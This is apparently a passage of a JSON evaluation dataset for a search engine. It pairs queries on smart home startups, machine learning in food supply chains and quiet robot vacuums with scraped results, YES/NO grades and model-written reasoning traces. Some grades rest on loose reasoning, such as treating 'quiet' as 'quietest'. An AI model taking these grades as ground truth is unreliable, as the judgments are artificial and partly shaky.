                "text": "Products Hubs Ezlo Plus Ezlo Secure Ezlo PlugHub Ezlo Pi Ezlo SoftHub Cameras IndoorVue Camera OutdoorVue Camera InstaVue Doorbell Shop all cameras Sensors Door and Window Motion Water Leak Shop all sensors... Lighting Ezlo Smart Bulb Smart Dimmer Smart Outlet Shop all lighting... Apps Download iOS App Download Android App EZLogic Web App Platform MiOS Platform Overview MeshBots Developers Support Knowledge Base User Community Video Library Explore Our Story Blog Careers For Business Private Label Ezlo Protect Property Management MiOS Login Shop Now\n\nProducts Hubs Ezlo Plus Ezlo Secure Ezlo PlugHub Ezlo Pi Ezlo SoftHub Cameras IndoorVue Camera OutdoorVue Camera InstaVue Doorbell Shop all cameras Sensors Door and Window Motion Water Leak Shop all sensors... Lighting Ezlo Smart Bulb Smart Dimmer Smart Outlet Shop all lighting... Apps Download iOS App Download Android App EZLogic Web App Platform MiOS Platform Overview MeshBots Developers Support Knowledge Base User Community Video Library Explore Our Story Blog Careers For Business Private Label Ezlo Protect Property Management MiOS Login Shop Now\n\nEzlo Protect For Private Label For Property Management\n\nEzlo Protect For Private Label For Property Management\n\nProducts \n Hubs\n\nEzlo Plus\n\nOur most popular hub. Speed, power, and dashing good looks.\n\nEzlo Secure\n\nOur most advanced hub, with 4G LTE and battery backup.\n\nPlugHub\n\nAdd and control any power outlet to your smart home, easily.\n\nEzloPi\n\nIoT-enable any hardware with this Open Source solution.\n\nSoftHub\n\nRun your smart home locally with our free, downloadable hub.\n\nCameras\n\nInstaVue Doorbell\n\nThe world\u2019s fastest video doorbell has arrived on the OS for property.\n\nIndoorVue Cam\n\nA versatile camera with motion detection and two-way audio.\n\nOutdoorVue Cam\n\nProtect your home with 24/7 weatherproof day and night visibility.\n\nView all cameras\n\nRest easy knowing your home is protected while you\u2019re away.\n\nSensors\n\nDoor & Window\n\nEasily detect the opening and closing of doors and windows.\n\nMotion\n\nEasily add motion trigger",
                "model_trace": "Query Decomposition:\n1. {consumer electronics startup}: The document does not explicitly state that Ezlo is a startup -> ([0], UNSURE)\n2. {makes smart home devices}: The document lists various smart home devices such as hubs, cameras, sensors, and lighting products -> ([1], SATISFIED)\n3. {advanced voice control}: The document does not mention any advanced voice control features -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {makes smart home devices}, which is satisfied. However, the document does not provide enough information to evaluate whether Ezlo is a startup or if their devices have advanced voice control features. Therefore, it does not fully meet the user's query requirements.\n\nNO."
            },
            {
                "grade": "NO",
                "title": "6 Smart Home Technology Companies | Built In",
                "url": "https://builtin.com/articles/smart-home-technology-companies",
                "published_date": null,
                "text": "Smart home technology aims to simplify everyday household activities. This web of connected devices and appliances allows consumers to monitor, manage and improve everything from security and temperature control to cleaning and food storage. Smart home products often have voice control capabilities in addition to linking to a mobile app. Here\u2019s a roundup of smart home technology companies developing solutions designed to save customers time, energy and money.\n Smart Home Technology Companies to Know   Rachio\n\tGoogle\n\tAmazon\n\tSamsung\n\tLG\n\tVivint\n  \nSmart Home Technology Companies to Know\n        \n \n Rachio takes smart home technology and brings it outside, with the goal of conserving water by reducing inefficient irrigation system consumption. It offers products like smart sprinkler controllers, smart hose timers, weather forecasting systems that use data from your own property and even a solar-powered smart umbrella with a wind sensor that automatically closes in bad weather.\n Google has a range of smart home products, including\u00a0thermostats, cameras, doorbells and other intelligent devices. They all connect to the Google Home app where users can monitor their home\u2019s status and establish automations. For example, users can view doorbell camera footage on the app or set an automation for lights to turn on each morning.\u00a0\n  More on Smart Technology What Is a Smart Device?  \n        \n \n Amazon\u2019s voice-controlled assistant known as Alexa can be connected to various smart home devices, including smart lights, thermostats and doorbell cameras. Users can give Alexa commands to turn the lights off or adjust the temperature through an Amazon Echo device.\n        \n \n Samsung builds smart home appliances that use artificial intelligence, Wi-Fi connectivity and other advanced technology to optimize household tasks like cooking or doing laundry. The company\u2019s intelligent microwaves are equipped with voice control, and its smart dishwashers can be operated remotely from the Samsung SmartThings app.\n        \n \n LG designs and man",
                "model_trace": "Query Decomposition:\n1. {consumer electronics startup}: The document lists companies such as Google, Amazon, Samsung, LG, and Vivint, which are not startups -> ([1], UNSATISFIED)\n2. {makes smart home devices}: The document lists companies that make smart home devices -> ([1], SATISFIED)\n3. {advanced voice control}: The document mentions that some companies, like Amazon and Samsung, have devices with voice control capabilities -> ([1], SATISFIED)\n\nAssessment: The key subcomponent {consumer electronics startup} is not met, as the document lists established companies rather than startups. Therefore, the document is not helpful for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "9 Smart Home Automation Technology Companies in 2024 - Netguru",
                "url": "https://www.netguru.com/blog/top-smart-home-companies",
                "published_date": null,
                "text": "Samsung's Smart Home, also known as SmartThings, is a platform that allows users to control and monitor their compatible devices through a single app. It was  launched in 2013  as an independent provider, and acquired by Samsung in 2014.\nSmartThings works with hundreds of compatible devices, including lights, cameras, voice assistants, locks, thermostats, and others. It\u2019s an open system that provides a lot of options for integrating different devices into it. It uses Matter, a connectivity standard supported by more than 280 companies, so users can decide which device to bring home. \nThe SmartThings Hub is the brain of the smart home and connects wirelessly with a wide range of smart devices, making them work together.\nUsers can connect SmartThings Sensors to the SmartThings Hub to create their smart home. These sensors can receive alerts when there's unexpected activity in the home, set connected lights to turn on and off as people come and go, or monitor moisture and temperature.\nUsers can control lights, electronics, and small appliances from anywhere with the SmartThings Outlet. They can also set devices to turn on and off at different times of the day, or use the SmartThings Button to control lights, electronics, and small appliances from anywhere and trigger routines to occur.\nThe SmartThings app enables Wi-Fi signal usage management, monitoring and control of automated devices, and creation of SmartThings Scenes.\nOverall, Samsung's Smart Home offers a wide range of features and compatibility with many devices, making it a comprehensive smart home platform. And it will only keep growing, as Benjamin Braun, \n CMO at Samsung Europe said, \u201cwe will continue to take advantage of the possibilities offered by the latest innovations in technology to make sure the SmartThings ecosystem grows and develops in a way that allows people to make even more of the connections that matter.\u201d\n2. Tado\n Launched in 2011, Tado is a German company that specializes in smart heating and energy management products for hom",
                "model_trace": "Query Decomposition:\n1. {consumer electronics startup}: The document mentions companies like Samsung and Tado, but it is not clear if they are startups -> ([1], UNSURE)\n2. {makes smart home devices}: The document discusses companies that make smart home devices -> ([1], SATISFIED)\n3. {advanced voice control}: The document does not specifically mention advanced voice control features in the smart home devices -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {makes smart home devices}, which is satisfied. However, the document does not clearly identify whether the companies mentioned are startups, which is critical for the query. Given that the document focuses on established companies like Samsung and does not provide clear information about startups, it is not helpful for the user's specific request. NO."
            },
            {
                "grade": "NO",
                "title": "The Best Smart Home Devices for 2024 - PCMag",
                "url": "https://www.pcmag.com/picks/the-best-smart-home-devices",
                "published_date": null,
                "text": "My house is working toward a PhD. Little by little, it's getting smarter.\u00a0 The transition started a few years ago, out of necessity. After peering beneath my bed skirt to retrieve a fallen item, I was horrified to discover a thick coating of dust on the floor. My old-school corded upright vacuum was too bulky to fit all the way under, so I picked up a robot vacuum to handle the dirty work for me.\u00a0 Then I got a dog, which led to the purchase of a smart air purifier to help combat allergies and asthma, and a pet camera to keep an eye on my fur baby (and my home) from my phone, 24/7.  Since then I've been reviewing smart home gadgets for PCMag, and my little Florida beach bungalow has transformed into a test bed for the latest home tech, growing smarter by the week. Now I walk into the bedroom and tell Google Assistant to turn on the lights. I ask Alexa to reorder protein powder and dog food and it arrives on my doorstep two days later. I adjust my thermostat through an app on my phone, from the comfort of bed before I get out of it in the morning. I receive severe weather warnings and recipe ideas on the screen of the smart display in my kitchen. Even my air fryer sends me a notification when it's done preheating.\u00a0 These days, there's a smart version of pretty much every home device you can think of. In general, these products connect to the internet, so you can control them from your phone via a companion app. Most also work with various forms of voice control.\u00a0 Many smart home companion apps support scheduling, so you can easily program your devices to perform a certain action at a certain time. After having a bike stolen, for instance, PCMag's editor Wendy Sheehan Donnell programmed her smart garage door to automatically close every night at a specific time.\u00a0 With Amazon Alexa and Google Assistant, you can set up routines to program your devices to work together and do multiple things at once, like adjust the temperature and lighting when you get home. With Apple HomeKit, you can control your devices with Siri v",
                "model_trace": "Query Decomposition:\n1. {consumer electronics startup}: The document is from PCMag, which is not a consumer electronics startup -> ([1], UNSATISFIED)\n2. {makes smart home devices}: The document discusses various smart home devices but does not indicate that PCMag makes these devices -> ([1], UNSATISFIED)\n3. {advanced voice control}: The document mentions smart home devices with voice control capabilities via Google Assistant, Alexa, and Siri -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {consumer electronics startup} and {makes smart home devices}. Both of these subcomponents are UNSATISFIED, making the document unhelpful for the user's query. NO."
            }
        ]
    },
    {
        "query": "scholarly articles on the application of machine learning in food supply chain management and logistics",
        "grid_pos": [
            0,
            0
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Paper/Journal/Publication",
        "reasoning_trace": [
            "These queries cover a range of technical topics that require a deep understanding of the latest research in computer science, social science, chemistry, and logistics. They are specific and detailed, drawing on specialized domain knowledge, yet still representative of the kinds of queries a user might plausibly submit to a search engine like Exa. The queries test Exa's ability to parse complex natural language, identify relevant scientific publications, and provide summaries of the latest advancements in these active research areas."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Machine learning application for sustainable agri-food supply chain performance: a review",
                "url": "https://iopscience.iop.org/article/10.1088/1755-1315/924/1/012059/pdf",
                "published_date": "2021-11-01",
                "text": "Machine learning application for sustainable agri-food supply chain performance: a review\n\nI Santoso imamsantoso@ub.ac.id \nDepartment of Agro-industrial Technology\nFaculty of Agricultural Technology\nUniversitas Brawijaya\nMalangIndonesia\n\nM Purnomo \nDepartment of Socio-Economics\nFaculty of Agriculture\nUniversitas Brawijaya\nMalangIndonesia\n\nA A Sulianto \nDepartment of Agro-industrial Technology\nFaculty of Agricultural Technology\nUniversitas Brawijaya\nMalangIndonesia\n\nA Choirun \nDepartment of Agro-industrial Technology\nFaculty of Agricultural Technology\nUniversitas Brawijaya\nMalangIndonesia\n\nMachine learning application for sustainable agri-food supply chain performance: a review\n10.1088/1755-1315/924/1/012059Content from this work may be used under the terms of the Creative Commons Attribution 3.0 licence. Any further distribution of this work must maintain attribution to the author(s) and the title of the work, journal citation and DOI. Published under licence by IOP Publishing Ltd 2021 International Conference on Green Agro-industry and Bioeconomy IOP Conf. Series: Earth and Environmental Science 924 (2021) 012059 IOP Publishing 1\nThe agri-food supply chain consists of activities in \"farm-to-fork\" order, including agriculture (i.e., land cultivation and crop production), production processes, packaging, warehousing systems, distribution, transportation, and marketing. Data analytics hold the key to ensuring future food security, food safety, and ecological sustainability. While emerging 'smart' technologies such as the internet of things, machine learning, and cloud computing can change production management practices. The current study presents a systematic review of machine learning (ML) applications in the agri-food supply chain. This framework identifies the role of ML algorithms in providing real-time analytical insights to assist proactive data-driven decisionmaking processes in the agri-food supply chain. It also guides researchers, practitioners, and policymakers on successful management to increase the p",
                "model_trace": "Query Decomposition:\n1. {scholarly articles}: This document is a scholarly article published in a conference series -> ([1], SATISFIED)\n2. {application of machine learning}: The document specifically reviews the application of machine learning in the agri-food supply chain -> ([1], SATISFIED)\n3. {food supply chain management and logistics}: The document discusses the agri-food supply chain, which includes aspects of production, packaging, warehousing, distribution, and transportation -> ([1], SATISFIED)\n\nAssessment: The document satisfies all the key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "A systematic literature review on machine learning applications for sustainable agriculture supply chain performance",
                "url": "https://www.sciencedirect.com/science/article/abs/pii/S0305054820300435",
                "published_date": "2020-07-01",
                "text": "Introduction Agriculture sustainability is the key to ensure food security and hunger eradication for the ever-growing population. It is estimated that global food production must be increased by 60\u2013110% to feed 9\u201310 billion of the population by 2050 (Tilman et al., 2011; Pardey et al., 2014; Rockstr\u00f6m et al., 2017). It is therefore required to have a strategic shift from the current paradigm of enhanced agricultural productivity to agricultural sustainability (Rockstr\u00f6m et al., 2017). Sustainable agriculture practices not only focus on enriching agricultural productivity but also help to reduce harmful environmental impacts (Kuyper and Struik, 2014; Godfray and Garnett, 2014; Cobuloglu and B\u00fcy\u00fcktahtak\u0131n, 2015; Adnan et al., 2018). The sustainable Agriculture Supply Chains (ASCs) are knowledge-intensive and are based on information, skills, technologies, and attitudes of the supply chain partners (El Bilali and Allahyari, 2018). Knowledge transfer encourages farmers to enhance their decision to adopt sustainable agriculture practices (SAP) (Adnan et al., 2018). Strothk\u00e4mper (2016) claims that the ASCs are facing tremendous pressure to increase the farming efficiency, which is driven by the depleting rate of water and fossil fuels, shrinking availability of arable land and the increasing demand by the consumers for more transparent and sustainable food chains (Tian, 2016, Duman et al., 2017). The need for the ASCs to respond to the increasing demand and supply gaps, as well as market price fluctuations, is also identified as critical drivers of farming efficiency (Sharma et al., 2018; Patidar et al., 2018). Further, recent studies covering the sustainable aspects of inventory and transportation management concerning the perishable items may help us to understand the complexities involved in achieving sustainable ASCs. The digital technologies that include the internet of things (IoT), mobile technologies and devices, data analytics, artificial intelligence (AI), digitally delivered services, and other applications",
                "model_trace": "Query Decomposition:\n1. {scholarly articles}: This document is a scholarly article -> ([1], SATISFIED)\n2. {application of machine learning}: The document mentions digital technologies including artificial intelligence (AI), but it is not clear if it specifically discusses machine learning -> ([2], UNSURE)\n3. {food supply chain management and logistics}: The document discusses sustainable agriculture supply chains (ASCs) and touches on inventory and transportation management concerning perishable items, which can be inferred as food supply chain management and logistics -> ([2], SATISFIED)\n\nAssessment: The document is a scholarly article and discusses sustainable agriculture supply chains, which include elements of food supply chain management and logistics. However, it is unclear if it specifically addresses the application of machine learning. Given that two key subcomponents are satisfied and one is unsure but likely relevant, the document is reasonably useful for the query. YES."
            },
            {
                "grade": "YES",
                "title": "Machine Learning for Supply Chain\u2019s Big Data: State of the art and application to Social Networks\u2019 data",
                "url": "https://www.matec-conferences.org/articles/matecconf/pdf/2018/59/matecconf_iwtsce2018_00015.pdf",
                "published_date": "2018-01-01",
                "text": "Machine Learning for Supply Chain's Big Data: State of the art and application to Social Networks' data\n\nRadouane El-Khchine radouane.elkhchine@gmail.com \nDepartment of Mathematics\nIbn Tofail University\nKenitraMorocco\n\nAmine Amar \nDepartment of Mathematics\nMohamed V University\nRabatMorocco\n\nZine Elabidine Guennoun \nDepartment of Mathematics\nMohamed V University\nRabatMorocco\n\nCharaf Bensouda \nDepartment of Mathematics\nIbn Tofail University\nKenitraMorocco\n\nYouness Laaroussi \nDepartment of Mathematics\nMohamed V University\nRabatMorocco\n\nMachine Learning for Supply Chain's Big Data: State of the art and application to Social Networks' data\n10.1051/matecconf/201820000015a Corresponding author:\nIn the context of today's pattern of globalization and a huge amount of information, a smart supply management chain is required. Naturally, statistics and operations research are used for optimizing supply and demand objectives. However, the new context brings out new opportunities at descriptive, predictive and prescriptive levels for supply chain network design, logistics and distribution and strategic sourcing. The key question is still how to capture and to use information. One striking example can be taken from social media, where their use allow to gain insight into the perception of consumers and to capture a real time overview of consumer reactions, regarding one or more specific events. In this regard, different modern approaches, such as IoT or Quantum neural network, are developed. In the same line of thought, we propose an analytic approach, based on KNN, Logistic Regression and SVM with the use of Twitter data in chicken supply chain management. Results identify the main concerns related to chicken products and allow to the development of a consumer-centric supply chain. The proposed approach can be extended to other topics such as anomaly detection and codification of customer intelligence.\n\nIntroduction\n\nSupply chain management is presented as the field which consists, in parts, to provide the right quantities of ",
                "model_trace": "Query Decomposition:\n1. {scholarly articles}: This document is a scholarly article published in a conference proceeding -> ([1], SATISFIED)\n2. {application of machine learning}: The document discusses the application of machine learning techniques such as KNN, Logistic Regression, and SVM -> ([1], SATISFIED)\n3. {food supply chain management and logistics}: The document specifically mentions the application of machine learning to the chicken supply chain management -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES"
            },
            {
                "grade": "YES",
                "title": "Application of Machine Learning in Supply Chain Management",
                "url": "https://www.researchgate.net/publication/352669452_Application_of_Machine_Learning_in_Supply_Chain_Management_A_Comprehensive_Overview_of_the_Main_Areas",
                "published_date": null,
                "text": "In today\u2019s complex and ever-changing world, concerns about the lack of enough data have been replaced by concerns about too much data for supply chain management (SCM). The volume of data generated from all parts of the supply chain has changed the nature of SCM analysis. By increasing the volume of data, the efficiency and effectiveness of the traditional methods have decreased. Limitations of these methods in analyzing and interpreting a large amount of data have led scholars to generate some methods that have high capability to analyze and interpret big data. Therefore, the main purpose of this paper is to identify the applications of machine learning (ML) in SCM as one of the most well-known artificial intelligence (AI) techniques. By developing a conceptual framework, this paper identifies the contributions of ML techniques in selecting and segmenting suppliers, predicting supply chain risks, and estimating demand and sales, production, inventory management, transportation and distribution, sustainable development (SD), and circular economy (CE). Finally, the implications of the study on the main limitations and challenges are discussed, and then managerial insights and future research directions are given. Figures - available from: Mathematical Problems in Engineering  This content is subject to copyright. Terms and conditions apply.     Discover the world's research   25+ million members 160+ million publication pages 2.3+ billion citations    Join for free        \n                    \n            \n        \n        \n        \n                                        \n             Review Article Application of Machine Learning in Supply Chain Management: A Comprehensive Overview of the Main Areas Erfan Babaee Tirkolaee , 1 Saeid Sadeghi, 2 Farzaneh Mansoori Mooseloo, 3 Hadi Rezaei Vandchali, 4 and Samira Aeini 5 1 Department of Industrial Engineering, Istinye University, Istanbul, Turkey 2 Department of Industrial Management, University of Tehran, T ehran, Iran 3 Department of Industrial Management, Universit",
                "model_trace": "Query Decomposition:\n1. {scholarly articles}: This document is a review article published on ResearchGate, which is a platform for scholarly articles -> ([1], SATISFIED)\n2. {application of machine learning}: The document discusses the application of machine learning in supply chain management -> ([1], SATISFIED)\n3. {food supply chain management and logistics}: The document discusses supply chain management in general but does not specifically mention food supply chain management and logistics -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {scholarly articles} and {application of machine learning}. Both of these subcomponents are satisfied. Although the document does not specifically mention food supply chain management, it provides a comprehensive overview of machine learning applications in supply chain management, which is closely related.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "Machine learning application for sustainable agri-food supply chain ...",
                "url": "https://www.researchgate.net/publication/356882651_Machine_learning_application_for_sustainable_agri-food_supply_chain_performance_a_review",
                "published_date": null,
                "text": "The agri-food supply chain consists of activities in \u201cfarm-to-fork\u201d order, including agriculture (i.e., land cultivation and crop production), production processes, packaging, warehousing systems, distribution, transportation, and marketing. Data analytics hold the key to ensuring future food security, food safety, and ecological sustainability. While emerging \u2018smart\u2019 technologies such as the internet of things, machine learning, and cloud computing can change production management practices. The current study presents a systematic review of machine learning (ML) applications in the agri-food supply chain. This framework identifies the role of ML algorithms in providing real-time analytical insights to assist proactive data-driven decision-making processes in the agri-food supply chain. It also guides researchers, practitioners, and policymakers on successful management to increase the productivity and sustainability of agri-food.    Discover the world's research   25+ million members 160+ million publication pages 2.3+ billion citations    Join for free          \n                    \n            \n        \n        \n        \n                                        \n             IOP Conference Series: Earth and Environmental Science PAPER \u2022 OPEN ACCESS  Machine learning application for sustainable agri- food supply chain performance: a review To cite this article: I Santoso et al 2021 IOP Conf. Ser.: Earth Environ. Sci. 924 012059 View the article online for updates and enhancements. You may also like Challenges in transportation policy: speeding up a sustainable agri-food supply chain N C Kresnanto, W H Putri, R Lantarsih et al. - Bibliometric analysis of traceability in agri- food research M Hisjam, V Sartika, Y Priyandari et al. - Identifying research advancements in supply chain risk management for Agri- food Industries: Literature review W Septiani and P Astuti - This content was downloaded from IP address 181.214.44.201 on 09/12/2021 at 03:15                     \n                                              ",
                "model_trace": "Query Decomposition:\n1. {scholarly articles}: The document appears to be a scholarly article published in the IOP Conference Series -> ([1], SATISFIED)\n2. {application of machine learning}: The document specifically discusses the application of machine learning in the agri-food supply chain -> ([1], SATISFIED)\n3. {food supply chain management and logistics}: The document covers the agri-food supply chain, which includes management and logistics aspects like production processes, packaging, warehousing, distribution, and transportation -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "The Application of Artificial Intelligence and Big Data in the Food ...",
                "url": "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC10742996/",
                "published_date": null,
                "text": "Journal List\n \n \n \n Foods\n \n \n \n PMC10742996\n \n \n \n \n \n \n \n \n      Foods. 2023 Dec; 12(24): 4511.     Haohan Ding,1, 2 Jiawei Tian,2 Wei Yu,3 David I. Wilson,4 Brent R. Young,3 Xiaohui Cui,1, 5, * Xing Xin,1 Zhenyu Wang,6 and Wei Li 2   Mustafa Tahsin Y\u0131lmaz, Academic Editor    Abstract Over the past few decades, the food industry has undergone revolutionary changes due to the impacts of globalization, technological advancements, and ever-evolving consumer demands. Artificial intelligence (AI) and big data have become pivotal in strengthening food safety, production, and marketing. With the continuous evolution of AI technology and big data analytics, the food industry is poised to embrace further changes and developmental opportunities. An increasing number of food enterprises will leverage AI and big data to enhance product quality, meet consumer needs, and propel the industry toward a more intelligent and sustainable future. This review delves into the applications of AI and big data in the food sector, examining their impacts on production, quality, safety, risk management, and consumer insights. Furthermore, the advent of Industry 4.0 applied to the food industry has brought to the fore technologies such as smart agriculture, robotic farming, drones, 3D printing, and digital twins; the food industry also faces challenges in smart production and sustainable development going forward. This review articulates the current state of AI and big data applications in the food industry, analyses the challenges encountered, and discusses viable solutions. Lastly, it outlines the future development trends in the food industry.  Keywords:  artificial intelligence, big data, food industry, emerging technologies, smart sensors    1. Introduction Artificial intelligence (AI) is a set of technologies that simulate human intelligence, which allows computers to imitate aspects of human thinking and behavior to achieve autonomous learning, reasoning, planning, and decision-making. The core of artificial intelligence is machine ",
                "model_trace": "Query Decomposition:\n1. {scholarly articles}: This document is from a journal and appears to be a scholarly article -> ([1], SATISFIED)\n2. {application of machine learning}: The document discusses artificial intelligence (AI), which encompasses machine learning, so this subcomponent is likely met -> ([2], SATISFIED)\n3. {food supply chain management and logistics}: The document discusses the application of AI and big data in the food industry, including production, quality, safety, and risk management, but it does not specifically mention supply chain management and logistics -> ([2], UNSURE)\n\nAssessment: The document is a scholarly article and discusses the application of AI (which includes machine learning) in the food industry. Although it does not specifically mention supply chain management and logistics, it covers related areas such as production, quality, and safety, which are relevant to the food industry. Given the broader context, the document is likely useful for the user's query. YES."
            }
        ]
    },
    {
        "query": "quietest robot vacuum pet hair",
        "grid_pos": [
            0,
            3
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Consumer Good/Consumer Service",
        "reasoning_trace": [
            "These queries are designed to test Exa's ability to understand and process complex, jargon-heavy requests typical of Google searches for consumer products and services. They require up-to-date knowledge of technology, home appliances, and consumer goods, as well as an understanding of specific technical terms and abbreviations. Each query is challenging in its own way:\n\n1. \"best ssd nvme pcie 4.0 2023\" - Requires knowledge of computer hardware, specifically solid-state drives, and understanding of current technology standards.\n\n2. \"cheapest 4k 120hz hdmi 2.1 tv\" - Tests understanding of TV specifications and the ability to find budget-friendly options with specific technical requirements.\n\n3. \"fastest ev charger home install\" - Challenges the system to understand electric vehicle terminology and home installation services.\n\n4. \"quietest robot vacuum pet hair\" - Requires comprehension of home appliance features and specific use cases (pet hair).\n\n5. \"most durable edc folding knife\" - Tests knowledge of everyday carry (EDC) items and understanding of durability in the context of folding knives.\n\nThese queries are realistic yet challenging, requiring Exa to parse technical jargon, understand abbreviations, and provide up-to-date information on consumer products and services."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Shark AV2501S AI Robot Vacuum with HEPA Self-Empty Base, Bagless, 30-Day Capacity, LIDAR Navigation, Perfect for Pet Hair, Compatible with Alexa, Wi-Fi Connected, Black",
                "url": "https://www.amazon.com/gp/product/B09H8CWFNK/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1&pldnSite=1",
                "published_date": "2023-02-06",
                "text": "TL;DR: This robot vacuum is awesome and worth every penny. Highly recommend this vacuum to everyone, my wife agrees! Happy wife, happy life! Might buy another for my upstairs. For a robot vacuum, it does what I expect and makes my life easier. I don't make it pick up large debris, robot vacuums seem to perform best with small debris. Large debris may get stuck or caught. Lidar works phenomenal, but with some hiccups when mapping house (mostly human error). Routing around obstacles works well, slows around objects and if anything is bumped it's so light and cushioned, it's not a problem. 5 stars overall. 4 stars deep cleaning and suction leaving room for improvement, it's a robot vacuum, what do you expect? Probably has Alexa integration, but I use Google assistant and it works great!--- I ordered this back in July 2022 and got it end of the month. I waited some time to let the excitement die a little before posting a review, but it never really did. This is my first robot vacuum and one of the best purchase decisions I have made this year. When researching for the right robot vacuum, I found that most of the highly rated vacuums don't seem to make it past 6 months or a year when reading reviews. Also manufacturers seems to make new models every year, so finding something that is reliable and lasts longer than this timeframe is hard to find. Of course, I am only onto my 5th month of owning this vacuum. When I broke the vacuum out of the box, my first inclination was to take it out and get it started. But thinking about the other reviews I have read on this vacuum and others like it, I wanted to read the instructions first. This is not a regular vacuum that you plug in and push. It has lots of little parts that make it different and potentially not taking care of it properly could damage the device. So anybody reading this, read the instructions first. Understand how to properly take care of it and clean it. Also, comparing to other reviews, clean it regularly. Now for my somewhat long review: Is it quiet? Yes and ",
                "model_trace": "Query Decomposition:\n1. {quietest}: The document mentions that the vacuum is quiet -> ([1], SATISFIED)\n2. {robot vacuum}: The document is about a robot vacuum -> ([1], SATISFIED)\n3. {pet hair}: The document states that the vacuum is perfect for pet hair -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Lefant Robot Vacuum Cleaner, Tangle-Free Suction, Slim, Quiet, Automatic Self-Charging, Wi-Fi/App/Alexa Control, Good for Pet Hair, Hard Floor and Low Pile Carpet, M210 Black",
                "url": "https://www.amazon.com/dp/B09PFLSSX5?m=ADJPHX1ZS3VNT&amp&linkCode=ll1&amp&tag=save042b-20&amp&linkId=f8bb9b0a3e1103682eedc9c94d53a35d&amp&language=en_US&amp&ref_=as_li_ss_tl",
                "published_date": "2020-11-21",
                "text": "1.0 out of 5 stars\n\nBad vacuum, spyware app\n\nReviewed in the United States on September 28, 2022\n\nDo not use the app for this vacuum, it is ok as a robot vacuum but the app will consistently paste from your keyboard and try to steal your data, I repeatDONOTDOWNLOADTHEAPPif you have ANY sensitive information copied it will paste it into the app and who knows what they're doing with that data/who they're selling it to. All I know is I will be returning this vacuum\n\nReviews with images\n\nTop reviews from the United States\n There was a problem filtering reviews right now. Please try again later. Reviewed in the United States \ud83c\uddfa\ud83c\uddf8 on February 7, 2023 I have 3 dogs and this robot worked so very well with all the dogs hair,it's the best and the battery last so very long it goes through my whole house and still has power to go to base,only one downfall it wouldn't pair ,but on the upside it doesn't really matter it still made the pattern to go through my whole house .ILOVE IT!!!,the price was awesome too!!.I would definitely recommend this for anyone with pets 1or 10 it will still pick up the hair ,also the mop part is good too.\n\nReviewed in the United States \ud83c\uddfa\ud83c\uddf8 on December 28, 2022 Efficient? No. Smart? No. But if you let it run long enough it gets the job done. So you can't throw away your regular broom and dustbin, but you can get a decent clean without having to do it yourself.I keep mine corralled in one small area that I could probably vacuum manually in like 10 minutes. The robovac might take an hour, but I can take care of other things or just sit on my butt for that hour, so overall a win.\n\nReviewed in the United States \ud83c\uddfa\ud83c\uddf8 on January 8, 2023 This little vacuum does a very good job. The app that comes with it is not very good as far as mapping. The only way you can get it to map is by putting it into a special clean mode, not the auto mode. However, I have a upstairs balcony loft that is carpeted. This vacuum cleans at one today and it\u2019s very very clean. It also does an adequate job in the bathroom which is vinyl I ",
                "model_trace": "Query Decomposition:\n1. {quietest}: The document mentions that the vacuum is quiet -> ([1], SATISFIED)\n2. {robot vacuum}: The document is about a robot vacuum cleaner -> ([1], SATISFIED)\n3. {pet hair}: The document states that the vacuum is good for pet hair -> ([1], SATISFIED)\n\nAssessment: The document satisfies all the key subcomponents of the query. YES."
            },
            {
                "grade": "NO",
                "title": "Consider these available items",
                "url": "https://www.amazon.com/gp/product/B078WRP6YQ",
                "published_date": "2018-03-08",
                "text": "I've been looking for a robovac for what seems like an eternity. They've always been too expensive or had poor reviews or seemed to be limited in some other way. Then Alexa came into my life and I decided I would only get a robovac if it could work with her. And thus the search began anew.Again I was faced with all sorts of issues...cost, small capacity, they were too tall to get underneath the sofa, whatever. Then I bought a Eufy HomeVac and was blown away by the quality and customer service. I was talking to Kevin one day about a small issue he was helping me with when I mentioned robovacs and if they were going to make one that worked with Alexa. He got really excited and told me all about the new model that had just dropped. I rushed back to Amazon and found it...on sale no less. I couldn't resist using a bit of my tax return on it. WOW!! It took about 10 minutes to get the app set up and linked with my wifi, and then to Alexa. I named him \"Alfred.\" Alfred is just about the best assistant I've ever had. He's got a great work ethic, hits all the corners, doesn't leave anything behind. With ample capacity I am both amazed and disgusted by how much pet and dirt he picks up. haha It took a bit of effort to figure out exactly how to get Alexa to wake him up. That's really the only \"knock\" against it. Instead of saying \"Alexa, ask Alfred to start cleaning\" I have to refer to him by his birth name: RoboVac. She then replies \"Ok. Asking RoboVac Alfred to start cleaning.\" And just like that, off he goes to do his thankless task...well, not thankless in my house. I adore him. He runs the house every day when I get home and it makes such a difference when it comes time to pull out my full-size machines for the weekend chores. The build quality is excellent. My toddler adores vacuums even more than I do and he gets more than a little too excited when Alfred starts his shift. My son follows him around the house \"feeding\" him a stray leaf that may have blown in through a door or whatever. Sometimes he wants Alfred to go in",
                "model_trace": "Query Decomposition:\n1. {quietest robot vacuum}: The document does not provide information on the noise level of the robot vacuum -> ([0], UNSURE)\n2. {robot vacuum for pet hair}: The document mentions that the Eufy HomeVac picks up a lot of pet hair and dirt -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponent related to handling pet hair but does not provide any information on the noise level of the vacuum, which is a critical part of the query. Therefore, the document is not fully aligned with the user's intent. NO."
            },
            {
                "grade": "YES",
                "title": "The Very Best Robot Vacuums for Pets - New York Magazine",
                "url": "https://nymag.com/strategist/article/robot-vacuums-pet-hair.html",
                "published_date": null,
